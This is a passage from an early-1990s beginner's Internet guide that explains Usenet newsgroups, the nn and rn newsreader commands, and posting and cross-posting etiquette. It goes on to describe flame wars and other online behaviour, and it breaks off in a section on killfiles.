solely on +your words, your ability to make a point. + +To many people, Usenet IS the Net. In fact, it is often confused with +Internet. But it is a totally separate system. All Internet sites CAN +carry Usenet, but so do many non-Internet sites, from sophisticated Unix +machines to simple bulletin-board systems running on old XT clones and +Apple IIs. + +Technically, Usenet messages are shipped around the world, from host +system to host system, using one of several specific Net protocols. Your +host system stores all of its Usenet messages in one place, which +everybody with an account on the system can access. That way, no matter +how many people actually read a given message, each host system has to +store only one copy of it. Many host systems "talk" with several others +regularly to exchange messages in case one or another of their links goes +down for some reason. When two host systems connect, they basically +compare notes on which Usenet messages they already have. Any that one +is missing the other then transmits, and vice-versa. Because they are +computers, they don't mind running through thousands, even millions, of +these comparisons every day. + +Yes, millions. For Usenet is huge. Every day, Usenet users pump upwards +of 100 million characters a day into the system -- nearly an +encyclopedia's worth of writing. Obviously, nobody could possibly keep up +with this immense flow of messages. Let's look at how to find +conferences and discussions of interest to you. + +The basic building block of Usenet is the newsgroup, which is a +collection of messages with a related theme (on other networks, these +would be called conferences, forums, bboards or special-interest groups). +There are now more than 9,000 of these newsgroups, in several diferent +languages, covering everything from art to zoology, from science fiction +to South Africa (not all systems carry all newsgroups, however). + +Some public-access systems, typically the ones that work through menus, +try to make it easier by dividing Usenet into several broad categories. +Choose one of those and you're given a list of newsgroups in that +category. Then select the newsgroup you're interested in and start +reading. + +Other systems let you compile your own "reading list" so that you only +see messages in conferences you want. In both cases, conferences are +arranged in a particular hierarchy devised in the early 1980s. Newsgroup +names start with one of a series of broad topic names. For example, +newsgroups beginning with "comp." are about computer-related topics. +These broad topics are followed by a series of more focused topics (so +that "comp.unix" groups are limited to discussion about Unix). The main +hierarchies are: + + bionet Research biology + bit.listserv Conferences originating as Bitnet mailing lists + biz Business + comp Computers and related subjects + misc Discussions that don't fit anywhere else + news News about Usenet itself + rec Hobbies, games and recreation + sci Science other than research biology + soc "Social" groups, often ethnically related + talk Politics and related topics + alt Controversial or unusual topics; not + carried by all sites + +In addition, many host systems carry newsgroups for a particular city, +state or region. For example, ne.housing is a newsgroup where New +Englanders can look for apartments. A growing number also carry K12 +newsgroups, which are aimed at elementary and secondary teachers and +students. And a number of sites carry clari newsgroups, which is +actually a commercial service consisting of wire-service stories and a +unique online computer news service (more on this in chapter 11). + + +3.2 NAVIGATING USENET WITH nn + + +How do you dive right in? As mentioned, on some systems, it's all done +through menus -- you just keep choosing from a list of choices until you +get to the newsgroup you want and then hit the "read" command. On Unix +systems, however, you will have to use a "newsreader" program. Two of +the more common ones are known as rn (for "read news") and nn (for "no +news" -- because it's supposed to be simpler to use). + +For beginners, nn may be the better choice because it works with menus -- +you get a list of articles in a given newsgroup and then you choose which +ones you want to see. To try it out, connect to your host system and, at +the command line, type + + nn news.announce.newusers + +and hit enter. After a few seconds, you should see something like this: + +Newsgroup: news.announce.newusers Articles: 22 of 22/1 NEW + +a Gene Spafford 776 Answers to Frequently Asked Questions +b Gene Spafford 362 A Primer on How to Work With the Usenet Community +c Gene Spafford 387 Emily Postnews Answers Your Questions on Netiquette +d Gene Spafford 101 Hints on writing style for Usenet +e Gene Spafford 74 Introduction to news.announce +f Gene Spafford 367 USENET Software: History and Sources +g Gene Spafford 353 What is Usenet? +h taylor 241 A Guide to Social Newsgroups and Mailing Lists +i Gene Spafford 585 Alternative Newsgroup Hierarchies, Part I +j Gene Spafford 455 >Alternative Newsgroup Hierarchies, Part II +k David C Lawrenc 151 How to Create a New Newsgroup +l Gene Spafford 106 How to Get Information about Networks +m Gene Spafford 888 List of Active Newsgroups +n Gene Spafford 504 List of Moderators +o Gene Spafford 1051 Publicly Accessible Mailing Lists, Part I +p Gene Spafford 1123 Publicly Accessible Mailing Lists, Part II +q Gene Spafford 1193 >Publicly Accessible Mailing Lists, Part III +r Jonathan Kamens 644 How to become a USENET site +s Jonathan Kamen 1344 List of Periodic Informational Postings, Part I + +-- 15:52 -- SELECT -- help:? -----Top 85%----- +Explanatory postings for new users. (Moderated) + +Obviously, this is a good newsgroup to begin your exploration of Usenet! +Here's what all this means: The first letter on each line is the letter +you type to read that particular "article" (it makes sense that a +"newsgroup" would have "articles"). Next comes the name of the person +who wrote that article, followed by its length, in lines, and what the +article is about. At the bottom, you see the local time at your access +site, what you're doing right now (i.e., SELECTing articles), which key +to hit for some help (the ? key) and how many of the articles in the +newsgroup you can see on this screen. The "(moderated)" means the +newsgroup has a "moderator" who is the only one who can directly post +messages to it. This is generally limited to groups such as this, which +contain articles of basic information, or for digests, which are +basically online magazines (more on them in a bit). + +Say you're particularly interested in what "Emily Postnews" has to say +about proper etiquette on Usenet. Hit your c key (lower case!), and the +line will light up. If you want to read something else, hit the key that +corresponds to it. And if you want to see what's on the next page of +articles, hit return or your space bar. + +But you're impatient to get going, and you want to read that article now. +The command for that in nn is a capital Z. Hit it and you'll see +something like this: + + +Gene Spafford: Emily Postnews Answers Your Questions on NetiquetteSep 92 04:17 +Original-author: brad@looking.on.ca (Brad Templeton) +Archive-name: emily-postnews/part1 +Last-change: 30 Nov 91 by brad@looking.on.ca (Brad Templeton) + + + NOTE: this is intended to be satirical. If you do not recognize + it as such, consult a doctor or professional comedian. The + recommendations in this article should recognized for what + they are -- admonitions about what NOT to do. + + + "Dear Emily Postnews" + + Emily Postnews, foremost authority on proper net behaviour, + gives her advice on how to act on the net. + +============================================================================ + +Dear Miss Postnews: How long should my signature be? -- verbose@noisy + +A: Dear Verbose: Please try and make your signature as long as you +-- 09:57 --.announce.newusers-- LAST --help:?--Top 4%-- + +The first few lines are the message's header, similar to the header you +get in e-mail messages. Then comes the beginning of the message. The +last line tells you the time again, the newsgroup name (or part of it, +anyway), the position in your message stack that this message occupies, +how to get help, and how much of the message is on screen. If you want +to keep reading this message, just hit your space bar (not your enter +key!) for the next screen and so on until done. When done, you'll be +returned to the newsgroup menu. For now hit Q (upper case this time), +which quits you out of nn and returns you to your host system's command +line. + +To get a look at another interesting newsgroup, type + + nn comp.risks + +and hit enter. This newsgroup is another moderated group, this time a +digest of all the funny and frightening ways computers and the people who +run and use them can go wrong. Again, you read articles by selecting +their letters. If you're in the middle of an article and decide you want +to go onto the next one, hit your n key. + +Now it's time to look for some newsgroups that might be of particular +interest to you. Unix host systems that have nn use a program called +nngrep (ever get the feeling Unix was not entirely written in English?) +that lets you scan newsgroups. Exit nn and at your host system's command +line, type + + nngrep word + +where word is the subject you're interested in. If you use a Macintosh +computer, you might try + + nngrep mac + +You'll get something that looks like this: + + alt.music.machines.of.loving.grace + alt.religion.emacs + comp.binaries.mac + comp.emacs + comp.lang.forth.mac + comp.os.mach + comp.sources.mac + comp.sys.mac.announce + comp.sys.mac.apps + comp.sys.mac.comm + comp.sys.mac.databases + comp.sys.mac.digest + comp.sys.mac.games + comp.sys.mac.hardware + comp.sys.mac.hypercard + comp.sys.mac.misc + comp.sys.mac.programmer + comp.sys.mac.system + comp.sys.mac.wanted + gnu.emacs.announce + gnu.emacs.bug + gnu.emacs.gnews + gnu.emacs.gnus + gnu.emacs.help + gnu.emacs.lisp.manual + gnu.emacs.sources + gnu.emacs.vm.bug + gnu.emacs.vm.info + gnu.emacs.vms + +Note that some of these obviously have something to do with Macintoshes +while some obviously do not; nngrep is not a perfect system. If you want +to get a list of ALL the newsgroups available on your host system, type + + nngrep -a |more + +or + + nngrep -a |pg + +and hit enter (which one to use depends on the Unix used on your host +system; if one doesn't do anything, try the other). You don't absolutely +need the |more or |pg, but if you don't include it, the list will keep +scrolling, rather than pausing every 24 lines. If you are in nn, hitting +a capital Y will bring up a similar list. + +Typing "nn newsgroup" for every newsgroup can get awfully tiring after +awhile. When you use nn, your host system looks in a file called +.newsrc. This is basically a list of every newsgroup on the host system +along with notations on which groups and articles you have read (all +maintained by the computer). You can also use this file to create a +"reading list" that brings up each newsgroup to which you want to +"subscribe." To try it out, type + + nn + +without any newsgroup name, and hit enter. + +Unfortunately, you will start out with a .newsrc file that has you +"subscribed" to every single newsgroup on your host system! To delete a +newsgroup from your reading list, type a capital U while its menu is on +the screen. The computer will ask you if you're sure you want to +"unsubscribe." If you then hit a Y, you'll be unsubscribed and put in +the next group. + +With many host systems carrying thousands of newsgroups, this will take +you forever. + +Fortunately, there are a couple of easier ways to do this. Both involve +calling up your .newsrc file in a word or text processor. In a .newsrc +file, each newsgroup takes up one line, consisting of the group's name, +an exclamation point or a colon and a range of numbers. Newsgroups with +a colon are ones to which you are subscribed; those followed by an +exclamation point are "un-subscribed." To start with a clean slate, +then, you have to change all those colons to exclamation points. + +If you know how to use emacs or vi, call up the .newsrc file (you might +want to make a copy of .newsrc first, just in case), and use the search- +and-replace function to make the change. + +If you're not comfortable with these text processor, you can download the +.newsrc file, make the changes on your own computer and then upload the +revised file. Before you download the file, however, you should do a +couple of things. One is to type + + cp .newsrc temprc + +and hit enter. You will actually download this temprc file (note the +name does not start with a period -- some computers, such as those using +MS-DOS, do not allow file names starting with periods). After you +download the file, open it in your favorite word processor and use its +search-and-replace function to change the exclamation points to colons. +Be careful not to change anything else! Save the document in ASCII or +text format. Dial back into your host system. At the command line, type + + cp temprc temprc1 + +and hit enter. This new file will serve as your backup .newsrc file +just in case something goes wrong. Upload the temprc file from your +computer. This will overwrite the Unix system's old temprc file. Now +type + + cp temprc .newsrc + +and hit enter. You now have a clean slate to start creating a reading +list. + +The first time you go into a newsgroup, there could be dozens, even +hundreds of articles. If you want to start from scratch, hit a capital +J. This will mark all the articles in that newsgroup as "read," so that +the next time you enter the conference, you will only see messages posted +since the last time you were there. + + +3.3 nn COMMANDS + + +To mark a specific article for reading, type the letter next to it (in lower +case). To mark a specific article and all of its responses, type the letter +and an asterisk, for example: + + a* + +To un-select an article, type the letter next to it (again, in lower case). + +C Cancels an article (around the world) that you wrote. + Every article posted on Usenet has a unique ID number. + Hitting a capital C sends out a new message that tells host + systems that receive it to find earlier message and delete + it. + +F To post a public response, or follow-up. If selected while + still on a newsgroup "page", asks you which article to + follow up. If selected while in a specific article, will + follow up that article. In either case, you'll be asked if + you want to include the original article in yours. Caution: + puts you in whatever text editor is your default. + +N Goes to the next subscribed newsgroup with unread articles. + +P Goes to the previous subscribed newsgroup with unread + articles. + +G news.group Goes to a specific newsgroup. Can be used to subscribe to + new newsgroups. Hitting G brings up a sub-menu: + + u Goes to the group and shows only un-read + articles. + + a Goes to the group and shows all articles, + even ones you've already read. + + s Will show you only articles with a specific + subject. + + n Will show you only articles from a specific + person. + +M Mails a copy of the current article to somebody. You'll be + asked for the recipient's e-mail address and whether you + want to add any comments to the article before sending it + off. As with F, puts you in the default editor. + +:post Post an article. You'll be asked for the name of the group. + +Q Quit, or exit, nn. + +U Un-subscribe from the current newsgroup. + +R Responds to an article via e-mail. + +space Hitting the space bar brings up the next page of articles. + +X If you have selected articles, this will show them to you + and then take you to the next subscribed newsgroup with + unread articles. If you don't have any selected articles, + it marks all articles as read and takes you to the next + unread subscribed newsgroup. + +=word Finds and marks all articles in the newsgroup with a + specific word in the "subject:" line, for example: + + =modem + +Z Shows you selected articles immediately and then returns + you to the current newsgroup. + +? Brings up a help screen. + +< Goes to the previous page in the newsgroup. + +> Goes to the next page in the newsgroup. + +$ Goes to the last page in an article. + +^ Goes to the first page in an article. + + +3.4 USING rn + + +Some folks prefer this older newsreader. If you type + + rn news.announce.newusers + +at your host system's command line, you'll see something like this: + + ******** 21 unread articles in news.announce.newusers--read now? [ynq] + +If you hit your Y key, the first article will appear on your screen. If +you want to see what articles are available first, though, hit your +computer's = key and you'll get something like this: + + 152 Introduction to news.announce + 153 A Primer on How to Work With the Usenet Community + 154 What is Usenet? + 155 Answers to Frequently Asked Questions + 156 Hints on writing style for Usenet + 158 Alternative Newsgroup Hierarchies, Part I + 159 Alternative Newsgroup Hierarchies, Part II + 160 Emily Postnews Answers Your Questions on Netiquette + 161 USENET Software: History and Sources + 162 A Guide to Social Newsgroups and Mailing Lists + 163 How to Get Information about Networks + 164 How to Create a New Newsgroup + 165 List of Active Newsgroups + 166 List of Moderators + 169 Publicly Accessible Mailing Lists, Part I + 170 Publicly Accessible Mailing Lists, Part II + 171 Publicly Accessible Mailing Lists, Part III + 172 How to become a USENET site + 173 List of Periodic Informational Postings, Part I + 174 List of Periodic Informational Postings, Part II + 175 List of Periodic Informational Postings, Part III + End of article 158 (of 178)--what next? [npq] + +Notice how the messages are in numerical order this time, and don't tell +you who sent them. Article 154 looks interesting. To read it, type in +154 and hit enter. You'll see something like this: + + Article 154 (20 more) in news.announce.newusers (moderated): + From: spaf@cs.purdue.EDU (Gene Spafford) + Newsgroups: news.announce.newusers,news.admin,news.answers + Subject: What is Usenet? + Date: 20 Sep 92 04:17:26 GMT + Followup-To: news.newusers.questions + Organization: Dept. of Computer Sciences, Purdue Univ. + Lines: 353 + Supersedes: + + Archive-name: what-is-usenet/part1 + Original from: chip@tct.com (Chip Salzenberg) + Last-change: 19 July 1992 by spaf@cs.purdue.edu (Gene Spafford) + + + The first thing to understand about Usenet is that it is widely + misunderstood. Every day on Usenet, the "blind men and the elephant" + phenomenon is evident, in spades. In my opinion, more flame wars + arise because of a lack of understanding of the nature of Usenet than + from any other source. And consider that such flame wars arise, of + necessity, among people who are on Usenet. Imagine, then, how poorly + understood Usenet must be by those outside! + + --MORE--(7%) + +This time, the header looks much more like the gobbledygook you get in e- +mail messages. To keep reading, hit your space bar. If you hit your n +key (lower case), you'll go to the next message in the numerical order. + +To escape rn, just keep hitting your q key (in lower case), until you get +back to the command line. Now let's set up your reading list. Because +rn uses the same .newsrc file as nn, you can use one of the search-and- +replace methods described above. Or you can do this: Type + + rn + +and hit enter. When the first newsgroup comes up on your screen, hit +your u key (in lower case). Hit it again, and again, and again. Or just +keep it pressed down (if your computer starts beeping, let up for a +couple of seconds). Eventually, you'll be told you're at the end of the +newsgroups, and asked what you want to do next. + +Here's where you begin entering newsgroups. Type + + g newsgroup + +for example, g comp.sys.mac.announce) and hit enter. You'll be asked +if you want to "subscribe." Hit your y key. Now you'll be asked where +to put the newsgroup. If you want it up high in your reading list, type +a number (1, for example, would put the list at the very top of your +list); otherwise, hit a $ (yep). Then type + + g next newsgroup + +(for example, g comp.announce.newusers) and hit enter. Repeat until +done. This process will also set up your reading list for nn, if you +prefer that newsreader. But how do you know which newsgroups to +subscribe? Typing a lowercase l and then hitting enter will show you a +list of all available newsgroups. Again, since there could be more than +2,000 newsgroups on your system, this might not be something you want to +do. Fortunately, you can search for groups with particular words in +their names, using the l command. Typing + + l mac + +followed by enter, will bring up a list of newsgroups with those letters +in them (and as in nn, you will also see groups dealing with emacs and +the like, in addition to groups related to Macintosh computers). If you +find what you want, but the list looks like it will keep going on for +awhile, hit your q key until you get back to the normal rn prompts +(normally, this will only be one or two q's). + +because of the vast amount of messages transmitted over Usenet, +most systems carry messages for only a few days or weeks. So if there's +a message you want to keep, you should either turn on your computer's +screen capture or save it to a file which you can later download). To +save a message as a file in rn, type + + s filename + +where "filename" is what you want to call the file. Hit enter. You'll be +asked if you want to save it in "mailbox format." In most cases, you +can answer with an n (which will strip off the header). The message +will now be saved to a file in your News directory (which you can access +by typing cd News and then hitting enter). + +Also, some newsgroups fill up particularly quickly -- go away for a +couple of days and you'll come back to find hundreds of articles! One +way to deal with that is to mark them as "read" so that they no longer +appear on your screen. Within a newsgroup, type a lower-case c. You'l +be asked if you're sure you want to mark the current messages as "read." +assuming you are, hit y. + + +3.5 rn COMMANDS + + +Different commands are available to you in rn depending on whether you +are already in a newsgroup or reading a specific article. At any point, +typing a lowercase h will bring up a list of available commands and some +terse instructions for using them. Here are some of them: + +After you've just called up rn, or within a newsgroup: + +c Marks every article in a newsgroup as read (or "caught up") + so that you don't have to see them again. The system will ask + you if you are sure. Can be done either when asked if you + want to read a particular newsgroup or once in the newsgroup. + +g Goes to a newsgroup, in this form: + + g news.group + + Use this both for going to groups to which you're already + subscribed and subscribing to new groups. + +h Provides a list of available commands with terse + instructions. + +l Gives a list of all available newsgroups. + +p Goes to the first previous subscribed newsgroup with un-read + articles. + +q Quits, or exits, rn if you have not yet gone into a newsgroup. + If you are in a newsgroup, it quits that one and brings you to + the next subscribed newsgroup. + +Only within a newsgroup: + += Gives a list of all available articles in the newsgroup. + + +m Marks a specific article or series of articles as "un-read" + again so that you can come back to them later. Typing + + 1700m + + and hitting enter would mark just that article as un-read. + Typing + + 1700-1800m + + and hitting enter would mark all of those articles as un- + read. + +space Brings up the next page of article listings. If already on + the last page, displays the first article in the newsgroup. + +u Un-subscribe from the newsgroup. + +/text/ Searches through the newsgroup for articles with a specific + word or phrase in the "subject:" line, from the current + article to the end of the newsgroup. For example, + + /EFF/ + + would bring you to the first article with "EFF" in the + "subject:" line. + +?text? The same as /text/ except it searches in reverse order from + the current article. + +Only within a specific article: + +e Some newsgroups consist of articles that are binary files, + typically programs or graphics images. Hitting e will convert + the ASCII characters within such an article into a file you + can then download and use or view (assuming you have the proper + computer and software). Many times, such files will be split + into several articles; just keep calling up the articles and + hitting e until done. You'll find the resulting file in your + News subdirectory. + +C If you post an article and then decide it was a mistake, call + it up on your host system and hit this. The message will soon + begin disappearing on systems around the world. + +F Post a public response in the newsgroup to the current + article. Includes a copy of her posting, which you can then + edit down using your host system's text editor. + +f The same as above except it does not include a copy of the + original message in yours. + +m Marks the current article as "un-read" so that you can come + back to it later. You do not have to type the article + number. + +Control-N Brings up the first response to the article. If there is no + follow-up article, this returns you to the first unread article + in the newsgroup). + +Control-P Goes to the message to which the current article is a reply. + +n Goes to the next unread article in the newsgroup. + +N Takes you to the next article in the newsgroup even if you've + already read it. + +q Quits, or exits, the current article. Leaves you in the current + newsgroup. + +R Reply, via e-mail only, to the author of the current article. + Includes a copy of his message in yours. + +r The same as above, except it does not include a copy of his + article. + +s file Copies the current article to a file in your News directory, + where "file" is the name of the file you want to save it to. + You'll be asked if you want to use "mailbox" format when + saving. If you answer by hitting your N key, most of the + header will not be saved. + +s|mail user Mails a copy of the article to somebody. For "user" substitute + an e-mail address. Does not let you add comments to the + message first, however. + +space Hitting the space bar shows the next page of the article, or, if + at the end, goes to the next un-read article. + + +3.6 ESSENTIAL NEWSGROUPS + + +With so much to choose from, everybody will likely have their own unique +Usenet reading list. But there are a few newsgroups that are +particularly of interest to newcomers. Among them: + + news.announce.newusers This group consists of a series of + articles that explain various facets of + Usenet. + + news.newusers.questions This is where you can ask questions + (we'll see how in a bit) about how + Usenet works. + + news.announce.newsgroups Look here for information about new or + proposed newsgroups. + + news.answers Contains lists of "Frequently Asked + Questions" (FAQs) and their answers from + many different newsgroups. Learn how to + fight jet lag in the FAQ from + rec.travel.air; look up answers to common + questions about Microsoft Windows in + an FAQ from comp.os.ms-windows; etc. + + alt.internet.services Looking for something in particular on + the Internet? Ask here. + + alt.infosystems.announce People adding new information services to + the Internet will post details here. + + +3.7 SPEAKING UP + + +"Threads" are an integral part of Usenet. When somebody posts a message, +often somebody else will respond. Soon, a thread of conversation begins. +Following these threads is relatively easy. In nn, related messages are +grouped together. In rn, when you're done with a message, you can hit +control-N to read the next related message, or followup. As you explore +Usenet, it's probably a good idea to read discussions for awhile before +you jump in. This way, you can get a feel for the particular newsgroup +-- each has its own rhythms. + +Eventually, though, you'll want to speak up. There are two main ways to +do this. You join an existing conversation, or you can start a whole new +thread. + +If you want to join a discussion, you have to decide if you want to +include portions of the message you are responding to in your message. +The reason to do this is so people can see what you're responding to, +just in case the original message has disappeared from their system +(remember that most Usenet messages have a short life span on the average +host system) or they can't find it. + +If you're using a Unix host system, joining an existing conversation is +similar in both nn and rn: hit your F key when done with a given article +in the thread. In rn, type a small f if you don't want to include +portions of the message you're responding to; an uppercase F if you do. +In nn, type a capital F. You'll then be asked if you want to include +portions of the original message. + +And here's where you hit another Unix wall. When you hit your F key, +your host system calls up its basic Unix text editor. If you're lucky, +that'll be pico, a very easy system. More likely, however, you'll get +dumped into emacs (or possibly vi), which you've already met in the +chapter on e-mail. + +The single most important emacs command is + + control-x control-c + +This means, depress your control key and hit x. Then depress the control +key and hit c. Memorize this. In fact, it's so important, it bears +repeating: + + control-x control-c + +These keystrokes are how you get out of emacs. If they work well, you'll +be asked if you want to send, edit, abort or list the message you were +working on. If they don't work well (say you accidentally hit some other +weird key combination that means something special to emacs) and nothing +seems to happen, or you just get more weird-looking emacs prompts on the +bottom of your screen, try hitting control-g. This should stop whatever +emacs was trying to do (you should see the word "quit" on the bottom of +your screen), after which you can hit control-x control-c. But if this +still doesn't work, remember that you can always disconnect and dial back +in! + +If you have told your newsreader you do want to include portions of the +original message in yours, it will automatically put the entire thing at +the top of your message. Use the arrow keys to move down to the lines +you want to delete and hit control-K, which will delete one line at a +time. + +You can then write your message. Remember that you have to hit enter +before your cursor gets to the end of the line, because emacs does not +have word wrapping. + +When done, hit control-X control-C. You'll be asked the question about +sending, editing, aborting, etc. Chose one. If you hit Y, your host +system will start the process to sending your message across the Net. + +The nn and rn programs work differently when it comes to posting entirely +new messages. In nn, type + + :post + +and hit enter in any newsgroup. You'll be asked which newsgroup to +post a message to. Type in its name and hit enter. Then you'll be +asked for "keywords." These are words you'd use to attract somebody +scanning a newsgroup. Say you're selling your car. You might type +the type of car here. Next comes a "summary" line, which is somewhat +similar. Finally, you'll be asked for the message's "distribution." +This is where you put how widely you want your message disseminated. +Think about this one for a second. If you are selling your car, it +makes little sense to send a message about it all over the world. But +if you want to talk about the environment, it might make a lot of +sense. Each host system has its own set of distribution +classifications, but there's generally a local one (just for users of +that system), one for the city, state or region it's in, another for +the country (for example, usa), one for the continent (for Americans +and Canadians, na) and finally, one for the entire world (usually: +world). + +Which one to use? Generally, a couple of seconds' thought will help you +decide. If you're selling your car, use your city or regional +distribution -- people in Australia won't much care and may even get +annoyed. If you want to discuss presidential politics, using a USA +distribution makes more sense. If you want to talk about events in the +Middle East, sending your message to the entire world is perfectly +acceptable. One caveat: these rules are not absolute, some systems pick +up messages from all over, regardless of the distribution you've set, so +don't be surprised if, sooner or later, you get a response to a "local" +message from several thousand miles away. + +Then you can type your message. If you've composed your message +offline (generally a good idea if you and emacs don't get along), you +can upload it now. You may see a lot of weird looking characters as +it uploads into emacs, but those will disappear when you hit control-X +and then control-C. Alternately: "save" the message (for example, by +hitting m in rn), log out, compose your message offline, log back on and +upload your message into a file on your host system. Then call up +Usenet, find the article you "saved." Start a reply, and you'll be asked +if you want to include a prepared message. Type in the name of the file +you just created and hit enter. + +In rn, you have to wait until you get to the end of a newsgroup to hit F, +which will bring up a message-composing system. Alternately, at your +host system's command line, you can type + + Pnews + +and hit enter. You'll be prompted somewhat similarly to the nn +system, except that you'll be given a list of possible distributions. +If you chose "world," you'll get this message: + + + This program posts news to thousands of machines throughout the entire + civilized world. Your message will cost the net hundreds if not thousands of + dollars to send everywhere. Please be sure you know what you are doing. + + Are you absolutely sure that you want to do this? [ny] + +Don't worry -- your message won't really cost the Net untold amounts, +although, again, it's a good idea to think for a second whether your +message really should go everywhere. + +If you want to respond to a given post through e-mail, instead of +publicly, hit R in nn or r or R in rn. In rn, as with follow-up +articles, the upper-case key includes the original message in yours. + +Most newsgroups are unmoderated, which means that every message you post +will eventually wind up on every host system within the geographic region +you specified that carries that newsgroup. + +Some newsgroups, however, are moderated, as you saw earlier with +comp.risks. In these groups, messages are shipped to a single location +where a moderator, acting much like a magazine editor, decides what +actually gets posted. In some cases, groups are moderated like scholarly +journals. In other cases, it's to try to cut down on the massive number +of messages that might otherwise be posted. + + +You'll notice that many articles in Usenet end with a fancy "signature" +that often contains some witty saying, a clever drawing and, almost +incidentally, the poster's name and e-mail address. You too can have +your own "signature" automatically appended to everything you post. On +your own computer, create a signature file. Try to keep it to four lines +or less, lest you annoy others on the Net. Then, while + +connected to your host system, at the prompt, type + + cat>.signature + +and hit enter (note the period before the s). Upload your signature +file into this using your communications software's ASCII upload +protocol. When done, hit control-D, the Unix command for closing a +file. Now, every time you post a message, this will be appended to it. + +There are a few caveats to posting. Usenet is no different from a Town +Meeting or publication: you're not supposed to break the law, whether +that's posting copyrighted material or engaging in illegal activities. +It is also not a place to try to sell products (except in certain biz. +and for-sale newsgroups). + + +3.8 CROSS-POSTING + + +Sometimes, you'll have an issue you think should be discussed in more +than one Usenet newsgroup. Rather than posting individual messages in +each group, you can post the same message in several groups at once, +through a process known as cross-posting. + +Say you want to start a discussion about the political ramifications of +importing rare tropical fish from Brazil. People who read rec.aquaria +might have something to say. So might people who read +alt.politics.animals and talk.politics.misc. + +Cross-posting is easy. It also should mean that people on other systems +who subscribe to several newsgroups will see your message only once, +rather than several times -- news-reading software can cancel out the +other copies once a person has read the message. When you get ready to +post a message (whether through Pnews for rn or the :post command in nn), +you'll be asked in which newsgroups. Type the names of the various +groups, separated by a comma, but no space, for example: + + rec.aquaria,alt.politics.animals,talk.politics.misc + +and hit enter. After answering the other questions (geographic +distribution, etc.), the message will be posted in the various +groups (unless one of the groups is moderated, in which case the +message goes to the moderator, who decides whether to make it public). + +It's considered bad form to post to an excessive number of newsgroups, or +inappropriate newsgroups. Probably, you don't really have to post +something in 20 different places. And while you may think your +particular political issue is vitally important to the fate of the world, +chances are the readers of rec.arts.comics will not, or at least not +important enough to impose on them. You'll get a lot of nasty e-mail +messages demanding you restrict your messages to the "appropriate" +newsgroups. +Chapter 4: USENET II + + +4.1 FLAME, BLATHER AND SPEW + + +Something about online communications seems to make some people +particularly irritable. Perhaps it's the immediacy and semi-anonymity of +it all. Whatever it is, there are whole classes of people you will soon +think seem to exist to make you miserable. + +Rather than pausing and reflecting on a message as one might do with a +letter received on paper, it's just so easy to hit your R or F key and +tell somebody you don't really know what you really think of them. Even +otherwise calm people sometimes find themselves turning into raving +lunatics. When this happens, flames erupt. + +A flame is a particularly nasty, personal attack on somebody for +something he or she has written. Periodically, an exchange of flames +erupts into a flame war that begin to take up all the space in a given +newsgroup (and sometimes several; flamers like cross-posting to let the +world know how they feel). These can go on for weeks (sometimes they go +on for years, in which case they become "holy wars," usually on such +topics as the relative merits of Macintoshes and IBMs). Often, just when +they're dying down, somebody new to the flame war reads all the messages, +gets upset and issues an urgent plea that the flame war be taken to e- +mail so everybody else can get back to whatever the newsgroup's business +is. All this usually does, though, is start a brand new flame war, in +which this poor person comes under attack for daring to question the +First Amendment, prompting others to jump on the attackers for impugning +this poor soul... You get the idea. + +Every so often, a discussion gets so out of hand that somebody predicts +that either the government will catch on and shut the whole thing down or +somebody will sue to close down the network, or maybe even the wrath of +God will smote everybody involved. This brings what has become an +inevitable rejoinder from others who realize that the network is, in +fact, a resilient creature that will not die easily: "Imminent death of +Usenet predicted. Film at 11.'' + +Flame wars can be tremendously fun to watch at first. They quickly grow +boring, though. And wait until the first time you're attacked! + +Flamers are not the only net.characters to watch out for. + +Spewers assume that whatever they are particularly concerned about either +really is of universal interest or should be rammed down the throats of +people who don't seem to care -- as frequently as possible. You can +usually tell a spewer's work by the number of articles he posts in a day +on the same subject and the number of newsgroups to which he then sends +these articles -- both can reach well into double digits. Often, these +messages relate to various ethnic conflicts around the world. Frequently, +there is no conceivable connection between the issue at hand and most of +the newsgroups to which he posts. No matter. If you try to point this +out in a response to one of these messages, you will be inundated with +angry messages that either accuse you of being an insensitive +racist/American/whatever or ignore your point entirely to bring up +several hundred more lines of commentary on the perfidy of whoever it is +the spewer thinks is out to destroy his people. + +Closely related to these folks are the Holocaust revisionists, who +periodically inundate certain groups (such as soc.history) with long +rants about how the Holocaust never really happened. Some people attempt +to refute these people with facts, but others realize this only +encourages them. + +Blatherers tend to be more benign. Their problem is that they just can't +get to the point -- they can wring three or four screenfuls out of a +thought that others might sum up in a sentence or two. A related +condition is excessive quoting. People afflicted with this will include +an entire message in their reply rather than excising the portions not +relevant to whatever point they're trying to make. The worst quote a +long message and then add a single line: + + "I agree!" + +or some such, often followed by a monster .signature (see section 4.7) + +There are a number of other Usenet denizens you'll soon come to +recognize. Among them: + + Net.weenies. These are the kind of people who enjoy LOWER +CASEDinsulting others, the kind of people who post nasty messages in a +sewing newsgroup just for the hell of it. + Net.geeks. People to whom the Net is Life, who worry about what +happens when they graduate and they lose their free, 24-hour access. + Net.gods. The old-timers; the true titans of the Net and the +keepers of its collective history. They were around when the Net +consisted of a couple of computers tied together with baling wire. + Lurkers. Actually, you can't tell these people are there, but +they are. They're the folks who read a newsgroup but never post or +respond. + Wizards. People who know a particular Net-related topic inside +and out. Unix wizards can perform amazing tricks with that operating +system, for example. + Net.saints. Always willing to help a newcomer, eager to share +their knowledge with those not born with an innate ability to navigate +the Net, they are not as rare as you might think. Post a question +about something and you'll often be surprised how many responses you +get. + +The last group brings us back to the Net's oral tradition. With few +written guides, people had traditionally learned their way around the Net +by asking somebody, whether at the terminal next to them or on the Net +itself. That tradition continues: if you have a question, ask. + +Today, one of the places you can look for help is in the +news.newusers.questions newsgroup, which, as its name suggests, is a +place to learn more about Usenet. But be careful what you post. Some of +the Usenet wizards there get cranky sometimes when they have to answer +the same question over and over again. Oh, they'll eventually answer your +question, but not before they tell you should have asked your host system +administrator first or looked at the postings in news.announce.newusers. + + +4.2 KILLFILES: THE CURE FOR WHAT AILS YOU + + +As you keep reading Usenet, you are going to run across topics or people +that really drive you nuts -- or that you just get tired of seeing. + +Killfiles are just the thing for you. When you start your newsreader, it +checks to see if you have any lists of words, phrases or names you don't +want to see. If you do, then it blanks out any messages containing those +words. + +Such as cascades. + +As you saw earlier, when you post a reply to a message and include parts +of that message, the original lines show up with a > in front of them. +Well, what if you reply to a reply? Then you get a >> in front of the +line. And if you reply to that reply? You get >>>. Keep this up, and +soon you get a triangle of >'s building up in your message. + +There are people who like building up these triangles, or cascades. +They'll "respond" to your message by deleting everything you've said, +leaving only the "In message 123435, you said:" part and the last line of +your message, to which they add a nonsensical retort. On and on they go +until the triangle has reached the right end of the page. Then they try +to expand the triangle by deleting one 